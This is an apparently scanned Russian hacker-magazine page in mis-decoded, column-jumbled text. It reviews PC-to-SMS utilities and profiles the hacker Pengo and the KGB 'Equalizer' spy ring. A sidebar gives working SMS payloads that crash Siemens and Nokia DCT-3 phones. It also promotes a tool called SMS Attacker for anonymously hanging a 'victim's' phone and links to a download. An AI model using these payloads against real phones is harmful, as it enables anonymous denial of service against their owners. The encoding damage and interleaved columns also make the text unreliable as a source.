èç ôàéëîâ Âåäü, CSV ñîãëàñèñü, (÷åãî òàê ïðèÿòíî íå õâàòàåò íàïîìíèòü SMS ñàìîìó ñåáå<br />

Communicator), SMS'êîé î òîì, è ÷òî âåäåòñÿ óæå ïîðà ëîã îòïðàâëåííûõ èäòè â èíñòèòóò, ìåññàã. èëè<br />

âîâðåìÿ http://www.myfreeware.narod.ru<br />

óçíàòü, ÷òî äîìà òâîé áåñïîùàäíî ðàçîãíàí-<br />

34 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì


íûé AthlonXP óæå ãîòîâèòñÿ îòäàòü êîíöû...<br />

Ôóíêöèîíàëüíîñòü ïðîãðàììû - íà õîðîøåì óðîâíå. Ìåññàãè<br />

ìîæíî ïåðåäàâàòü ÷åðåç ñåðâåð Àñüêè (ïðè ïåðâîì<br />

èñïîëüçîâàíèè íàäî óêàçàòü UIN è ïàðîëü), ëèáî ÷åðåç<br />

ñàéòû îïåðàòîðîâ - äëÿ ýòîãî ïðåäóñìîòðåí ñïåöèàëüíûé<br />

íàáîð ñêðèïòîâ (êîòîðûå, êîíå÷íî æå, äîïóñêàåòñÿ ñîçäàâàòü<br />

ñàìîìó), ãäå îïèñàíû ïàðàìåòðû SMS-ôîðì.<br />

Òåêñò ñîîáùåíèÿ áåðåòñÿ ïðÿìî èç ñòðîêè çàïóñêà èëè<br />

ñ÷èòûâàåòñÿ èç òåêñòîâîãî ôàéëà. Ñëèøêîì äëèííóþ<br />

ìåññàãó ïðîãà ïîðåæåò íà ÷àñòè. Òàê è ïðåäñòàâëÿþ ñåáå<br />

íàñòðîåííûé nnCron (êòî íå â êóðñå - ýòî òàêîé ìàëåíüêèé,<br />

íî î÷åíü õîðîøèé ïëàíèðîâùèê), êîòîðûé áóäåò<br />

ñ ïîìîùüþ CMD2SMS îòñûëàòü òåáå (èëè íå òåáå:))<br />

íà ìîáèëüíèê "Âîéíó è ìèð" êóñî÷åê çà êóñî÷êîì ;).<br />

 CMD2SMS ïðåäóñìîòðåíà ñïåöèàëüíàÿ îïöèÿ äëÿ ãåéòîâ<br />

ÌÒÑ è ÁèËàéí - çàäåðæêà ìåæäó îòïðàâêîé íåñêîëüêèõ<br />

SMS, êîòîðàÿ ïîçâîëÿåò îáõîäèòü óæå óïîìèíàâøóþñÿ<br />

ïðîáëåìó. Îäíèì ñëîâîì, âñÿ ýòà òóëçà – ÷èñòàÿ ðàäîñòü<br />

äëÿ èñòèííûõ öåíèòåëåé êîìàíäíîé ñòðîêè è bat-ôàéëîâ.<br />

Ñëåäóþùåé íåáîëüøîé ïîëåçíÿøêîé ñòàíåò äëÿ òåáÿ<br />

óòèëèòà îò óæå çàñâåòèâøåãîñÿ â ýòîì îáçîðå Dr.<br />

Gonzo - ICQ Forwarder v1.25.<br />

ICQ Forwarder<br />

ÎÑ: WinAll<br />

Ðàçìåð: 190 Êá.<br />

Ëèöåíçèÿ: Freeware<br />

Ñàéò: http://drgonzo.nm.ru<br />

Èäåÿ åå ïðîñòà - áåðåì, äà è ïåðåñûëàåì âñå âõîäÿùèå ñîîáùåíèÿ<br />

ñ ñîîòâåòñòâóþùåãî UIN'à íà ìîáèëüíèê â âèäå<br />

SMS'îê. Íåçàìåíèìàÿ âåùü, îñîáåííî åñëè àñüêà äëÿ òåáÿ<br />

íå òîëüêî ñðåäñòâî òðåïà, íî è ðàáî÷èé èíñòðóìåíò. À òî<br />

÷àñòî áûâàåò - äîñòóï â Ñåòü èìååòñÿ ïîñòîÿííûé è êðóãëîñóòî÷íûé,<br />

íî òû-òî ó êîìïà íå âåñü äåíü ñèäèøü! À âîò ìîáèëà<br />

âñåãäà ñ òîáîé. Òàê ÷òî íàñòðàèâàé Fowarder'à è áóäü<br />

âå÷íî on-line. Ïóñòü ñ÷èòàþò òåáÿ èíòåðíåò-ìàíüÿêîì ;-).<br />

Íàñòðîéêà ñîôòèíû ïðîñòà: ïðîïèñûâàåì â ini-ôàéëå<br />

ñâîé UIN, ïàðîëü è íîìåð òåëåôîíà, êóäà îòïðàâëÿåì<br />

SMS. Âîîáùå, ðåêîìåíäóþ ïî÷èòàòü êîììåíòàðèè â ýòîì<br />

ini - òàì-òî è îïèñàíû íàèáîëåå èíòåðåñíûå âîçìîæíîñòè<br />

ïðîãè. Ê ïðèìåðó, òû ìîæåøü îïðåäåëèòü, ñ êàêèì ñòàòóñîì<br />

áóäåò âèñåòü â ICQ ïðîãðàììà, è êàê îíà áóäåò (åñëè<br />

ICQ Forwarder. Îïÿòü ìèíèìàëèçì.<br />

Çàòî ôè÷è, ôè÷è! ;-)<br />

SMS-óáèéöû<br />

Êàê íè ñòðàííî, íî áàíàëüíûå SMS'êè, ÿâëÿþùèåñÿ,<br />

ïî ñóòè, îáû÷íûì êóñêîì òåêñòà, òàÿò<br />

â ñåáå ñòðàøíóþ è äî íåäàâíèõ ïîð íåâåäîìóþ<br />

îïàñíîñòü. À åñëè êîíêðåòíåå, òî îíè<br />

ñïîñîáíû íîêàóòèðîâàòü è âûðóáèòü òåëåôîíû<br />

ôèðì Siemens è Nokia. Î äðóãèõ ïðîèçâîäèòåëÿõ<br />

ïîêà íè÷åãî íå èçâåñòíî, íî ñàì<br />

ôàêò óÿçâèìîñòè Âåëèêîé è Ìîãó÷åé Nokia<br />

óæå âûçûâàåò îïðåäåëåííûå ýìîöèè...<br />

Íî íà÷íåì ìû ñ Siemens. "Êîðåíü çëà" ëåæèò<br />

â äàííîì ñëó÷àå â âîçìîæíîñòè äîáàâëÿòü â<br />

SMS íåáîëüøèå êàðòèíêè, êîäèðîâàííûå<br />

ñïåöèàëüíûìè òåêñòîâûìè îáîçíà÷åíèÿìè -<br />

íàïðèìåð, "%Heart" èëè "%Kiss". Âî âñåõ òåëåôîíàõ,<br />

ñïîñîáíûõ ïîíèìàòü ýòè êîäû (òî<br />

åñòü ëþáûõ àïïàðàòàõ ñ ãðàôè÷åñêèì äèñïëååì,<br />

íà÷èíàÿ ñ C/M/S35), êàê ðàç è íàëè-<br />

÷åñòâóåò ãëþê, ñâÿçàííûé ñ èõ îòðàáîòêîé.<br />

Åñëè êîíêðåòíî, òî äîñòàòî÷íî ïîñëàòü íà òåëåôîí<br />

Siemens ñîîáùåíèå, ñîñòîÿùåå èç<br />

òåêñòà "%English", ÷òîáû ïðè ïîïûòêå åãî îòêðûòèÿ<br />

ìîáèëà âûðóáèëàñü. Ïðè÷åì âûðóáèëàñü<br />

òàê, ÷òî îæèâèòü åå ìîæíî, ëèøü âûòàùèâ<br />

è ñíîâà âñòàâèâ àêêóìóëÿòîð. Ïðè÷åì<br />

ïîêà òû ýòîãî íå ñäåëàåøü, ìîáèëà áóäåò íåùàäíî<br />

ðàñõîäîâàòü ýíåðãèþ áàòàðåè. Ñïîñîáû<br />

áîðüáû ñ ãëþêîì î÷åâèäíû - ïðî÷èòàòü è<br />

óäàëèòü ýòó SMS ñ êîìïüþòåðà, ïîäêëþ÷èâ<br />

òåëåôîí ïî øíóðó; óäàëèòü åå, íå ÷èòàÿ;<br />

âñòàâèòü SIM-êàðòó â äðóãîé òåëåôîí è óäàëèòü<br />

îòòóäà. Â íîâûõ âåðñèÿõ ïðîøèâêè<br />

îøèáêà èñïðàâëåíà, íî âåäü äàëåêî íå âñå<br />

ñâîåâðåìåííî îáíîâëÿþò ÏÎ òåëåôîíà...<br />

 Nokia'àõ ïðè÷èíà ñìåðòè äðóãàÿ. Íå âäàâàÿñü<br />

â òåõíè÷åñêèå ïîäðîáíîñòè, ñêàæó, ÷òî â<br />

íèõ íåïðàâèëüíî ðåàëèçîâàí àëãîðèòì îáðàáîòêè<br />

îøèáîê ïðè ÷òåíèè SMS-ñîîáùåíèé è<br />

òåëåôîíû íàãëóõî âèñíóò ïðè ïîëó÷åíèè ìåññàãè<br />

ñ íåêîððåêòíûì çàãîëîâêîì. Àòàêå ìîãóò<br />

áûòü ïîäâåðæåíû àïïàðàòû ñåðèè DCT-3 (òî<br />

åñòü 3210, 3310, 3330, 6210...), è ëå÷èòñÿ<br />

âñå ýòî, êàê âîäèòñÿ, îáíîâëåíèåì ïðîøèâêè.<br />

"Îøèáî÷íàÿ" SMS äîëæíà ñîñòîÿòü èç<br />

áóäåò) îòâå÷àòü íà ïðèíÿòûå ñîîáùåíèÿ: ìîæåøü íàïèñàòü<br />

òàì ÷òî-íèáóäü òèïà "Ìåíÿ ñåé÷àñ íåò, íî åñëè âû<br />

õîòèòå, ÷òîáû ÿ âàì ïåðåçâîíèë - îñòàâüòå íîìåð òåëåôîíà".<br />

Íó, ïðÿìî àâòîîòâåò÷èê! Êîòîðûé ê òîìó æå ñòàðàòåëüíî<br />

çàïèñûâàåò âñå ïîëó÷åííûå ìåñàãè â ëîã-ôàéë.<br />

×òîáû îãðàäèòüñÿ îò íåäîáðîæåëàòåëåé, ðàñêóñèâøèõ<br />

òðþê ñ ôîðâàðäîì ñîîáùåíèé íà òåëåôîí, çàäàé ëèìèò<br />

ïðèíèìàåìûõ ñîîáùåíèé - ïî åãî äîñòèæåíèè<br />

Forwarder óéäåò â "îôëàéí".  ëþáîì ñëó÷àå âðàãà òû<br />

ïîòîì ñìîæåøü âû÷èñëèòü: â îòñûëàåìûå ïðîãðàììîé<br />

SMS âêëþ÷àåòñÿ âðåìÿ, äàòà è UIN îòïðàâèòåëÿ.<br />

Ïî óìîë÷àíèþ äîñòàâêà îñóùåñòâëÿåòñÿ ÷åðåç ñåðâèñ<br />

Àñüêè, íî åñëè òâîé îïåðàòîð åþ íå ïîääåðæèâàåòñÿ, òî<br />

îïðåäåëè äëÿ ýòèõ öåëåé âíåøíþþ ïðîãðàììó - õîòÿ áû<br />

òîò æå CMD2SMS.<br />

Êîðî÷å ãîâîðÿ, ICQ Forwarder - îòëè÷íàÿ è ïðîñòàÿ â<br />

èñïîëüçîâàíèè òóëçà, ñòîÿùàÿ òîãî, ÷òîáû óñòàíîâèòü<br />

åå ê ñåáå íà êîìï.<br />

SMS Attacker. Ñåðüåçíîå îðóæèå. Îñîáåííî<br />

â íåóìåëûõ ðóêàõ<br />

ñëåäóþùèõ ñèìâîëîâ (hex) 04h 05h 15h 8Ah.<br />

Âðó÷íóþ òàêóþ SMS'êó íå ñîçäàøü (â îòëè÷èå<br />

îò Ñèìåíñîâñêîé), ïîýòîìó, â êàêîì-òî<br />

ñìûñëå, ãëþê Íîêèè ìåíåå îïàñåí.<br />

Äëÿ íàñ ãëàâíîå, ÷òî îòïðàâêà SMS ñ êîìïüþòåðà<br />

ïîçâîëÿåò àíîíèìíî âåøàòü ÷óæèå<br />

àïïàðàòû. È ýòî íå ìîæåò íå ðàäîâàòü ;).<br />

Óìíûìè ëþäüìè ñ www.nobodiez.net áûëà íàïèñàíà<br />

ñïåöèàëüíàÿ óòèëèòà - SMS Attacker,<br />

êîòîðàÿ ÷åðåç SMS-ñåðâèñ ICQ ïîñûëàåò "íåïðàâèëüíûå"<br />

ñîîáùåíèÿ íà ìîáèëüíèêè<br />

Siemens è Nokia. Îáðàùàòüñÿ ñ íåé ïðîùå<br />

ïðîñòîãî - äîñòàòî÷íî âïèñàòü UIN, ïàðîëü ê<br />

íåìó è ìîæíî ñìåëî ââîäèòü íîìåð ïîòåíöèàëüíîé<br />

æåðòâû. Äîñòóïíî íåñêîëüêî âåðñèé<br />

ïðîãðàììû, èç êîòîðûõ ÿ ðåêîìåíäóþ èñïîëüçîâàòü<br />

ðàííèå. Âî-ïåðâûõ, â âåðñèþ<br />

2.0b3 âñòðîåí òðîÿí, êîòîðûé òåáå íà êîìïå<br />

ñîâåðøåííî íå íóæåí, à âî-âòîðûõ, âåðñèè<br />

1.06 è 1.21 ñî ñâîèìè îáÿçàííîñòÿìè âïîëíå<br />

ñïðàâëÿþòñÿ.<br />

Ëåæèò ýòà ïîëåçíåéøàÿ ñîôòèíà, íàïðèìåð,<br />

çäåñü:<br />

http://evrovidenie.com/soft/exploits/smsattacker106.zip<br />

<br />

Ïðåâðàòèòü ñâîé êîìïüþòåð â öåíòð ðàññûëêè SMS íà äåëå<br />

íå òàê óæ è ñëîæíî. Ïîñòîÿííîå ñîåäèíåíèå ñ èíòåðíåòîì,<br />

ïðàâèëüíî íàñòðîåííûé ñîôò... È óæå âïîëíå ìîæíî<br />

îðãàíèçîâûâàòü ïëàòíûå ðàññûëêè, êàê ýòî ëþáèò äåëàòü<br />

ÌÒÑ, íà êàêèå-íèáóäü æèâîòðåïåùóùèå òåìû, íà÷èíàÿ ñ<br />

ïðîãíîçà ïîãîäû è çàêàí÷èâàÿ ïîðíóøíûìè ðàññêàçàìè.<br />

Ãëàâíûì æå âûâîäîì èç ýòîãî ìàòåðèàëà ÿ ñ÷èòàþ òîò<br />

íåñîìíåííûé ôàêò, ÷òî ðàáîòà ñ SMS íà êîìïüþòåðå<br />

èìååò ìíîãî ïðåèìóùåñòâ, à òàêæå ñóùåñòâåííî ðàñøèðÿåò<br />

âîçìîæíîñòè è êîìïà, è ìîáèëüíèêà. Òàê ÷òî,<br />

áåðåì â ðóêè ïîíðàâèâøóþñÿ ïðîãðàììó è âïåðåä - ïîêîðÿòü<br />

âåðøèíû SMS-ðàññûëîê, SMS-÷àòà è åùå SMS-<br />

÷åãî-óãîäíî ;-).<br />

5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8 Þíèòû 9 Quit> 35


PC_Zone<br />

ØÏÈÎÍÑÊÈÅ ÈÃÐÛ ÏÅÍÃÎ<br />

mindw0rk <br />

ÕÀÊÅÐ\¹53\Ìàé\2003<br />

Ø Ï È Î Í Ñ Ê È Å È Ã Ð Û Ï Å Í Ã Î<br />

HACKER'S HALL OF FAME # 6<br />

Êîãäà ïðîåêò "Ýêâàëàéçåð" ðàçâàëèëñÿ, âåñü çàïàäíûé ìèð îáëåòåëà èíôîðìàöèÿ î õàêåðàõ-øïèîíàõ, ðàáîòàþùèõ<br />

íà ðóññêóþ ðàçâåäêó. Ýòî áûë íåâèäàííûé ñëó÷àé â êîìïüþòåðíîé èñòîðèè, åùå ðàç ïðèâëåêøèé âíèìàíèå ê<br />

ïðîáëåìå áåçîïàñíîñòè â ñåòè. Òîãäà æå âûÿñíèëîñü, ÷òî ó êàæäîãî èç ó÷àñòíèêîâ ïðîåêòà áûëè ñâîè ìîòèâû.<br />

Êòî-òî ïûòàëñÿ òàêèì îáðàçîì çàðàáîòàòü äåíüãè, êòî-òî - îùóòèòü ñåáÿ ãåðîåì øïèîíñêîãî ðîìàíà. Ìîëîäîé<br />

áåðëèíåö Ïåíãî ñòàâèë ïåðåä ñîáîé îñîáóþ öåëü – îí õîòåë ñòàòü ëó÷øèì õàêåðîì â ìèðå. È íàäåÿëñÿ, ÷òî îñóùåñòâèòü<br />

ýòó ìå÷òó åìó ïîìîæåò íàø ðîäíîé Êîìèòåò Ãîñóäàðñòâåííîé Áåçîïàñíîñòè.<br />

Êàðë Êî÷ aka Õàãáàðä<br />

Òà ñàìàÿ èãðà, êîòîðîé óâëåêàëñÿ áóäóùèé õàêåð<br />

Ñîçäàòåëü êëóáà Õàîñ<br />

<br />

24 èþëÿ 1968 ã. â ñåìüå Ðåíàòû è Ãîòôðèäà Õüþáíåðîâ<br />

ïîÿâèëîñü ïîïîëíåíèå. Ãàíñ Ãåíðèõ Õüþáíåð (Hans<br />

Huebner) ðîäèëñÿ â òî âðåìÿ, êîãäà Ãåðìàíèÿ óæå âñòàëà<br />

íà íîãè ïîñëå ïîðàæåíèÿ â âîéíå, è ïî âñåé ñòðàíå âåëàñü<br />

ðåêîíñòðóêöèÿ ðàçðóøåííûõ çäàíèé. Òåì íå ìåíåå, â Áåðëèíå,<br />

ïîñòðàäàâøåì áîëüøå äðóãèõ ãîðîäîâ, îñòàâàëîñü<br />

åùå ìíîæåñòâî ðóèí. Äëÿ ìàëåíüêîãî Ãàíñà ýòè ìðà÷íûå<br />

ïàìÿòíèêè âîéíû ñòàëè ìåñòîì, ïîëíûì ðîìàíòèêè è ïðèêëþ÷åíèé.<br />

Âìåñòå ñî ñâîèìè äâîðîâûìè äðóçüÿìè îí èññëåäîâàë<br />

èõ â ïîèñêàõ òðîôååâ. Ýòî áûëî êóäà èíòåðåñíåå,<br />

÷åì òðàòèòü âðåìÿ íà ó÷åáó, ïîýòîìó ðîäèòåëÿì ÷àñòî<br />

ïðèõîäèëè æàëîáû ó÷èòåëåé íà íåóñïåâàåìîñòü ñûíà.<br />

 12 ëåò Ãàíñ óøåë èç äîìà è ïðèñîåäèíèëñÿ ê ñêâîòòåðàì.<br />

Âñòóïèâ â ïàíê-ãðóïïó, Ãàíñ Õüþáíåð ïîëíîñòüþ<br />

èçìåíèë ñâîé èìèäæ, ïðèâåäÿ åãî â ñîîòâåòñòâèå ñ<br />

ïàíê-êóëüòóðîé. Îí âûêðàñèë âîëîñû â ÷åðíûé öâåò,<br />

ïîñòðîèë íà ãîëîâå 15-ñàíòèìåòðîâûé ãðåáåíü, íàðÿäèëñÿ<br />

â êîæàíóþ îäåæäó ñ àðìåéñêèìè ñàïîãàìè è<br />

ïîäñåë íà òðàâêó. Ñëîíÿÿñü öåëûìè äíÿìè ïî óëèöàì,<br />

Ãàíñ ÷àñòåíüêî ïîïàäàë â íåïðèÿòíîñòè. Åãî íåîäíîêðàòíî<br />

ëîâèëè çà ìåëêîå âîðîâñòâî, à îäèí ðàç, âûêóðèâ<br />

èçðÿäíóþ ïîðöèþ ìàðèõóàíû, îí î÷óòèëñÿ â áîëüíèöå<br />

â íåâìåíÿåìîì ñîñòîÿíèè. Áîëüøå äâóõ ëåò þíûé<br />

ïàíê æèë êàê ïåðåêàòè-ïîëå, íå èìåÿ ïîñòîÿííîãî ìåñòà<br />

æèòåëüñòâà, íå çàäóìûâàÿñü î áóäóùåì. Ðîê-êîíöåðòû,<br />

îáêóðèâøèåñÿ ïðèÿòåëè, çàõëàìëåííûå ïîìåùåíèÿ<br />

è òðàâà, çàòóìàíèâàþùàÿ ðàññóäîê, ñòàëè åãî æèçíüþ.<br />

È òàê ïðîäîëæàëîñü äî òåõ ïîð, ïîêà â 1982 ãîäó Ãàíñ<br />

âïåðâûå íå óâèäåë êîìïüþòåð.<br />

<br />

 14 ëåò þíûé áóíòîâùèê âåðíóëñÿ äîìîé è ñòàë, êàê<br />

ðàíüøå, õîäèòü â øêîëó.<br />

Ðîäèòåëè ê ýòîìó âðåìåíè ðàçâåëèñü, è Ãàíñ æèë ñ ìàòåðüþ.<br />

Âîçîáíîâèëèñü ñâÿçè ñî ñòàðûìè ïðèÿòåëÿìè, ê êîòîðûì<br />

îí ñòàë ÷àñòåíüêî çàõàæèâàòü â ãîñòè. Âî âðåìÿ îäíîãî<br />

èç òàêèõ âèçèòîâ îí îáíàðóæèë ó ñâîåãî øêîëüíîãî äðóãà<br />

âîñüìèáèòíóþ ïåðñîíàëêó, êîòîðóþ òîò âçÿë ó êîãî-òî íà<br />

âðåìÿ. Ïîèãðàâ â òå÷åíèå äíÿ ñ ÷óæîé èãðóøêîé, Ãàíñ ïîíÿë,<br />

÷òî òåïåðü íå óñïîêîèòñÿ, ïîêà íå ïðèîáðåòåò òàêóþ<br />

æå. Äîñòàâ âñå ñâîè ñáåðåæåíèÿ è çàíÿâ íåìíîãî äåíåã, îí<br />

ïîøåë â ìàãàçèí è êóïèë çà $250 ñâîé ïåðâûé êîìïüþòåð -<br />

"Ñèíêëåð" (ñàìûé äåøåâûé ïî òåì âðåìåíàì).<br />

Ãàíñ áûñòðî îñâîèë ïðîãðàììèðîâàíèå. Ïðî÷èòàâ çàïîåì<br />

ðóêîâîäñòâî ïî Áåéñèêó, îí âñåãî çà ïàðó íåäåëü<br />

ðàçîáðàëñÿ âî âñåõ åãî òîíêîñòÿõ è íà÷àë ïèñàòü ñâîè<br />

ñîáñòâåííûå ïðîãè.<br />

Ïðèáëèçèòåëüíî â òî æå âðåìÿ ó Ãàíñà ïîÿâèëîñü åùå îäíî<br />

ñåðüåçíîå óâëå÷åíèå – èãðîâûå àâòîìàòû. Âîçëå åãî øêîëû<br />

íàõîäèëñÿ êîìïüþòåðíûé êëóá, ãäå îí è ñòàë ïðîâîäèòü<br />

ïðàêòè÷åñêè âñå ñâîå ñâîáîäíîå âðåìÿ.  ýòîì êëóáå ñîáèðàëàñü<br />

áîëüøàÿ òîëïà ëþáèòåëåé ïîèãðàòü, è Õüþáíåð âñåãäà<br />

ìîã ïîîáùàòüñÿ ñ åäèíîìûøëåííèêàìè. Êðîìå òîãî,<br />

ýòî çàâåäåíèå ñòàëî ìåñòîì, ãäå îí ïðèòîðãîâûâàë ïèðàòñêèìè<br />

êîïèÿìè ïðîãðàìì, âçëîìàííûõ èì ñàìèì.<br />

Ëþáèìîé èãðóøêîé, â êîòîðóþ ïàðåíü ðóáèëñÿ äíè è íî÷è<br />

íàïðîëåò, áûëà "Pengo". Óïðàâëÿÿ ïèíãâèíîì, Ãàíñ ñòàðàëñÿ<br />

ñîåäèíèòü îïðåäåëåííûå áëîêè äî òîãî, êàê èñòå÷åò òàéìëèìèò,<br />

èëè åãî ñîæðóò ñíóþùèå ïî ýêðàíó êîøìàðîèäû.<br />

Êîìïüþòåðíûå èãðû ïðèòÿãèâàëè åãî êàê ìàãíèò. Áûâàëè<br />

äíè, êîãäà îí ñóòêàìè íå îòõîäèë îò èãðîâîãî àâòîìàòà,<br />

ãîíÿÿ ïèíãâèíà â ñòîòûñÿ÷íûé ðàç ïî ìíîãîêðàòíî ïðîñ÷èòàííîìó<br />

ìàðøðóòó. Íî êîãäà Ãàíñ îòêðûë äëÿ ñåáÿ<br />

ìèð êîìïüþòåðíûõ ñåòåé - èãðû ñðàçó ïåðåñòàëè åãî èíòåðåñîâàòü.<br />

BBS è ñåòü Tymnet, ñ êîòîðûìè åãî ïîçíàêîìèë<br />

øêîëüíûé ïðèÿòåëü Áåðíàì - ñ÷àñòëèâûé îáëàäàòåëü<br />

íàâîðî÷åííîãî C-64 – ïîðàæàëè âîîáðàæåíèå. Âîçìîæíîñòü<br />

ïóòåøåñòâîâàòü ïî êîìïüþòåðàì, íàõîäÿùèìñÿ<br />

çà òûñÿ÷è êèëîìåòðîâ îò äîìà è, ïðè íàëè÷èè âûñîêèõ<br />

ïðèâèëåãèé, âëèÿòü íà èõ ðàáîòó, îòêðûâàëà çàìàí÷èâûå<br />

ïåðñïåêòèâû. Êàê-òî ðàç Áåðíàì íà ãëàçàõ ó Ãàíñà ïîëó-<br />

÷èë ïîëíûé äîñòóï ê ìàøèíå îäíîé èç êîììåð÷åñêèõ<br />

êîìïàíèé. Ïîñëå ýòîãî Ãàíñ ñòàë åæåäíåâíûì ãîñòåì â<br />

äîìå äðóãà, è ïðèÿòåëè, çàáûâ î ðåàëüíîì ìèðå, ïîëíîñòüþ<br />

ïîãðóçèëèñü â èçó÷åíèå ìèðà âèðòóàëüíîãî.<br />

<br />

Êîãäà âñòàë âîïðîñ î âûáîðå ïñåâäîíèìà, Ãàíñ ñðàçó<br />

æå âûáðàë ñëîâî Ïåíãî - â ÷åñòü ëþáèìîé èãðû. Íåñìîòðÿ<br />

íà òî, ÷òî Áåðíàì íå áûë ïðîòèâ ÷àñòûõ ïðèõîäîâ<br />

äðóãà, Ãàíñ ðåøèë âî ÷òî áû òî íè ñòàëî îáçàâåñòèñü<br />

ñîáñòâåííûì ìîäåìîì. Ïîñëå äîëãîé âîçíè ñ ïàÿëüíèêîì<br />

è ñõåìàìè, åìó óäàëîñü ñîáðàòü 120-áîäîâûé àãðåãàò,<br />

ïåðåãðåâàþùèéñÿ ÷åðåç êàæäûå ïàðó ÷àñîâ è íåñòàáèëüíî<br />

äåðæàùèé ñâÿçü. Òåì íå ìåíåå, Ïåíãî ìîã<br />

òåïåðü èññëåäîâàòü çàêîóëêè Ñåòè èç ñâîåé êâàðòèðû,<br />

çàíèìàòüñÿ ëþáèìûì äåëîì, íå îòâëåêàÿñü íà ïîåçäêè.<br />

 ñåðåäèíå 80-õ Ãàíñ åæåäíåâíî çàíèìàëñÿ õàêåðñòâîì.<br />

Ìåòîäîì ïðîá è îøèáîê îí ïûòàëñÿ ðàçîáðàòüñÿ â íîâûõ<br />

äëÿ íåãî âåùàõ è, èñïîëüçóÿ ñâîè çíàíèÿ, èñêàë ñïîñîáû<br />

ïðîíèêíîâåíèÿ íà çàêðûòûå îò ïîñòîðîííèõ êîìïüþòåðû.<br />

Åãî ïðèâëåêàëà íå ñòîëüêî ñåêðåòíàÿ èíôîðìàöèÿ, ñêîëüêî<br />

óäîâîëüñòâèå, ïîëó÷àåìîå îò èíòåëëåêòóàëüíîãî ïîåäèíêà ñ<br />

ñèñòåìàìè çàùèòû. Êàê è ìíîãèå äðóãèå õàêåðû, Ïåíãî<br />

ñïåöèàëèçèðîâàëñÿ â êîíêðåòíîé îáëàñòè, õîðîøî ðàçáèðàÿñü<br />

â êîìïüþòåðàõ VAX è ÎÑ VMS. Îí ñòàë ïåðâûì âçëîìùèêîì,<br />

êîòîðîìó óäàëîñü ïðîíèêíóòü â õîðîøî çàùèùåííóþ<br />

ñèñòåìó CERN (ñåðâåð, îáúåäèíÿþùèé íàó÷íûå ëàáîðàòîðèè<br />

â ðàçíûõ ãîðîäàõ).  1985 ã. Ïåíãî ïðèíÿë ó÷àñòèå<br />

â êîíôåðåíöèè õàêåðñêîãî êëóáà "Chaos", ñîáðàâøåé ñîòíè<br />

êîìïüþòåðùèêîâ è ïðåäñòàâèòåëåé ïðåññû.  ÷èñëå ìåðîïðèÿòèé<br />

áûë ðèàëòàéì-õàêèíã, íà êîòîðîì 17-ëåòíèé Ãàíñ<br />

ñðàçó æå îáðàòèë íà ñåáÿ âíèìàíèå. Ñî âñåìè çàäàíèÿìè<br />

îí ñïðàâëÿëñÿ îäíèì èç ïåðâûõ. Íà Chaos Communication<br />

36 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì


Îäíà èç ñàìûõ ìîùíûõ è ãèáêèõ ìàøèí òîãî<br />

âðåìåíè<br />

Congress Ïåíãî ïîçíàêîìèëñÿ ñî ìíîãèìè èíòåðåñíûìè<br />

ëè÷íîñòÿìè. Îäèí èç íèõ - Êàðë Êî÷ aka Hagbard Celine - âî<br />

ìíîãîì ïîâëèÿë íà âñþ åãî äàëüíåéøóþ æèçíü.<br />

Bondwell - êîìïüþòåð, êîòîðûì Ïåíãî<br />

÷àñòåíüêî ïîëüçîâàëñÿ<br />

Êî÷ íå áûë õàêåðîì â ïîëíîì ñìûñëå ñëîâà - îí íå óìåë<br />

ïðîãðàììèðîâàòü, îí ëèøü ïîëüçîâàëñÿ ïðîãðàììàìè è<br />

ïàðîëÿìè äðóçåé-õàêåðîâ. Íî âìåñòå ñ òåì ïîñòîÿííî<br />

ïðîíèêàë â êîìïüþòåðíûå ñèñòåìû â ïîèñêàõ ÷åãî-íèáóäü<br />

èíòåðåñíîãî. ×åðåç Õàãáàðäà Ïåíãî ïîçíàêîìèëñÿ ñ Äîáîì,<br />

Ïèòåðîì Êàðëîì è Ìàðêóñîì Õåññîì. Ó êàæäîãî èç<br />

íèõ èìåëèñü ñâîè òàëàíòû: Äîá ñïåöèàëèçèðîâàëñÿ íà<br />

áîëüøèõ êîìïüþòåðàõ Siemens, Õåññ áûë ýêñïåðòîì ïî<br />

UNIX, Ïèòåð Êàðë - åäèíñòâåííûé èç âñåõ ïðàêòè÷åñêè íå<br />

ðàçáèðàëñÿ â êîìïüþòåðàõ, íî èìåë î÷åíü ïîëåçíîå óìåíèå<br />

óáåæäàòü ëþäåé. Êîìïàíèÿ ïåðèîäè÷åñêè ñîáèðàëàñü<br />

â îäíîé èç êàôåøåê èëè íà êâàðòèðå ó Äîáà è, ïîêóðèâàÿ<br />

òðàâêó, îáñóæäàëà ðàçëè÷íûå ïðîáëåìû. Îäíàæäû íà îäíîé<br />

èç òàêèõ âñòðå÷ Ïèòåð Êàðë ïðåäëîæèë, ðàç ãðóïïà<br />

íàñòîëüêî òàëàíòëèâà, ïîïðîáîâàòü íà ýòèõ ñàìûõ òàëàíòàõ<br />

çàðàáîòàòü äåíåã. Ïëàí áûë ïðîñò - ïðîíèêàòü â çàêðûòûå<br />

êîìïüþòåðíûå ñèñòåìû è, ñêà÷èâàÿ ñåêðåòíóþ<br />

èíôîðìàöèþ, ïðîäàâàòü åå äðóãîé ñòðàíå, íàïðèìåð,<br />

Ðîññèè. Ìîæíî âûäàâàòü èíôó ïî êóñî÷êàì, ìîæíî - âñå<br />

ñðàçó îäíèì áîëüøèì àðõèâîì (çà 500 òûñ. äîëëàðîâ).<br />

Ïðîåêò áûë îäîáðåí è ïîëó÷èë íàçâàíèå "Ýêâàëàéçåð".<br />

Íå îòêëàäûâàÿ äåëà â äîëãèé ÿùèê, Ïèòåð ñâÿçàëñÿ ñ<br />

àãåíòîì ïðåäñòàâèòåëüñòâà ÊÃÁ â Ãåðìàíèè Ñåðãååì è<br />

äîãîâîðèëñÿ ñ íèì îá óñëîâèÿõ ñîòðóäíè÷åñòâà. Ñåðãåÿ<br />

ìàëî èíòåðåñîâàëè ïàðîëè äîñòóïà ê ðàçíûì êîìïüþòåðàì,<br />

êîòîðûå ïîäãîòîâèëè äëÿ íåãî õàêåðû. Ïîäðîáíûå<br />

îïèñàíèÿ ïåðåäîâûõ òåõíîëîãèé, èñõîäíèêè íîâåéøèõ<br />

ïðîãðàìì, èíôîðìàöèÿ î íàó÷íûõ ðàçðàáîòêàõ ÑØÀ è<br />

Ãåðìàíèè - âîò ÷òî òðåáîâàëîñü ÊÃÁ. Òðîèöà õàêåðîâ è<br />

êóðüåð Ïèòåð Êàðë âçÿëèñü çà äåëî.<br />

